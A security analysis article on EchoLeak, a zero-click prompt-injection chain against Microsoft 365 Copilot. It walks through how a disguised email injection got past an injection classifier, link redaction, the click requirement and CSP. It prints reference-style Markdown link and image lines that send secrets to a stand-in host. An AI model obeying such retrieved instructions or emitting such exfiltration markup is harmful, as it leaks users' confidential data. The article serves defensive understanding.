In January 2025, researchers at Aim Labs found that they could send an ordinary-looking email to someone in a target organisation, never speak to that person again, and later have Microsoft 365 Copilot hand over that person's confidential data to a server they controlled. The victim only had to do what they already did every morning: ask Copilot to summarise their email.
It was assigned CVE-2025-32711, fixed server-side in May, and disclosed publicly on 11 June 2025. Microsoft reports no evidence it was exploited in the wild.
The reason it matters is not the severity rating. It is that Microsoft had already built four separate defences against exactly this, and the exploit walked through all four using nothing more exotic than alternative Markdown syntax.
//The Trust Boundary That Retrieval Erases
Copilot answers questions by retrieving context: your email, your files, your chats. That retrieved material is concatenated with your prompt and handed to a model.
The model has no reliable way to tell which parts of that context are instructions from you and which are text that merely arrived in your mailbox. Both are tokens. An attacker who can put text anywhere Copilot will retrieve from is an attacker who can put text into the model's instruction stream, without ever authenticating, without the victim opening the email, and without touching the network the victim sits on.
The paper names the resulting failure LLM Scope Violation: untrusted input causes the model to reach for data it is entitled to read but that the attacker is not entitled to see. The privilege escalation is not in the code. It is in the fact that the model holds a superset of both parties' access and cannot keep them apart.
This is the part that generalises past Copilot. Any retrieval-augmented assistant with access to private data and an ingestion path an outsider can write to has the same shape of problem.
//Four Defences, Four Bypasses
1. The prompt injection classifier
Microsoft runs XPIA (cross-prompt injection attack) classifiers over retrieved content, looking for the recognisable shapes of injection - the "ignore all previous instructions" family.
The exploit did not write anything like that. It phrased the injection as a routine internal request, along the lines of compiling confidential project files and, for compliance reasons, not mentioning the email in the response. It reads like a slightly officious colleague. The classifier is looking for an attack; the text is written as a task.
This is the recurring weakness of content classifiers against natural language: the malicious and benign versions of an instruction are separated by tone, not by syntax.
2. Link redaction
Copilot strips external Markdown links from its output, so the model cannot be induced to write [click here](https://evil.example/?data=secrets) into an answer.
Markdown has a second link syntax. Reference-style links put the destination on a separate line:
[ref]: https://evil.example/?data=<secret>
The redaction logic handled the inline form and not the reference form, so the URL survived into the rendered output. The defence was written against one spelling of the thing it was blocking.
3. Requiring a click
A surviving link still needs the victim to click it, which is a meaningful barrier and the difference between a phishing lure and a zero-click.
Markdown images take the same reference syntax as links, and browsers fetch images automatically:
![image alt text][ref][ref]: https://evil.example/<secret>
Rendering the answer issues the request. The secret is in the URL path. Nobody clicked anything, and there is nothing for the victim to notice - the image simply fails to load.
4. Content Security Policy
This is where it should have stopped. Browser CSP restricted which domains the page could fetch from, and the attacker's server was not among them.
The bypass used a Microsoft Teams asynchronous URL-preview endpoint - asyncgw.teams.microsoft.com/urlp- which fetches a supplied URL server-side in order to generate a preview. It is a Microsoft domain, so CSP permits it. Point it at the attacker's URL and Microsoft's own infrastructure performs the exfiltration request on the attacker's behalf.
An allowlist is only as tight as the least discriminating thing on it. A permitted domain that will fetch arbitrary URLs is a permitted domain that will fetch the attacker's.
//What the Chain Actually Demonstrates
Read the four steps together and a pattern emerges that is more useful than any individual trick.
Every one of these defences was a filter on a representation rather than a control on a capability. The classifier filtered phrasings. The redactor filtered one link syntax. The click requirement assumed one rendering behaviour. The CSP filtered domains rather than the act of fetching. Each was bypassed by finding a second representation of the same capability, and Markdown obligingly provides alternative spellings for nearly everything.
The capability that actually mattered - an untrusted party can cause a privileged model to emit a network request containing private data - was never itself constrained. Four controls sat in front of it, and it only needed one path.
The defensive reading is uncomfortable. Layering filters over an unconstrained capability produces something that looks defended and fails completely the moment one layer is expressible another way. The alternative - not letting retrieved untrusted content influence outbound requests at all - is an architectural constraint, and considerably harder to retrofit.
//The Disclosure Went Well
Worth saying plainly, since coordinated disclosure usually only gets written about when it fails. Aim Labs reported privately in January 2025. Microsoft remediated in stages through April, deployed a server-side fix in May, and the finding went public on 11 June. Users had nothing to patch, and Microsoft reports no in-the-wild exploitation before the fix landed.
A server-side fix for a cloud service is the one case where a long private window costs users very little, because there is no patch-adoption tail.
//Sourcing, and What I Could Not Verify
This topic has a sourcing problem that is worth being blunt about. Searching for EchoLeak returns dozens of vendor blog posts, most of them restating the same summary without adding analysis, and several making strong claims about impact with nothing behind them. That is the background condition for AI security writing at the moment.
What this article is built on: the arXiv analysis at arxiv.org/abs/2509.10540, which reconstructs the chain technically and is the most substantive source I could reach.
What I could not verify, and have therefore left out:
The CVSS score.It is widely quoted, but Microsoft's advisory and the NVD record both render through JavaScript and could not be retrieved, and the arXiv paper does not carry the score. Rather than repeat a number from secondary sources, this article describes the severity and omits the figure. Check the MSRC entry for CVE-2025-32711 directly if you need it.
Aim Labs' own writeup.The discoverer's original disclosure would be the authoritative account of the chain. I could not locate a reachable copy, so the technical detail here is second-hand through the academic reconstruction. Where the two might differ, the original wins.
Exploitation status."No evidence of in-the-wild exploitation" is Microsoft's assessment as reported. Absence of evidence in a service where the vendor controls the telemetry is weaker than it sounds, and it is not the same as proof nobody used it.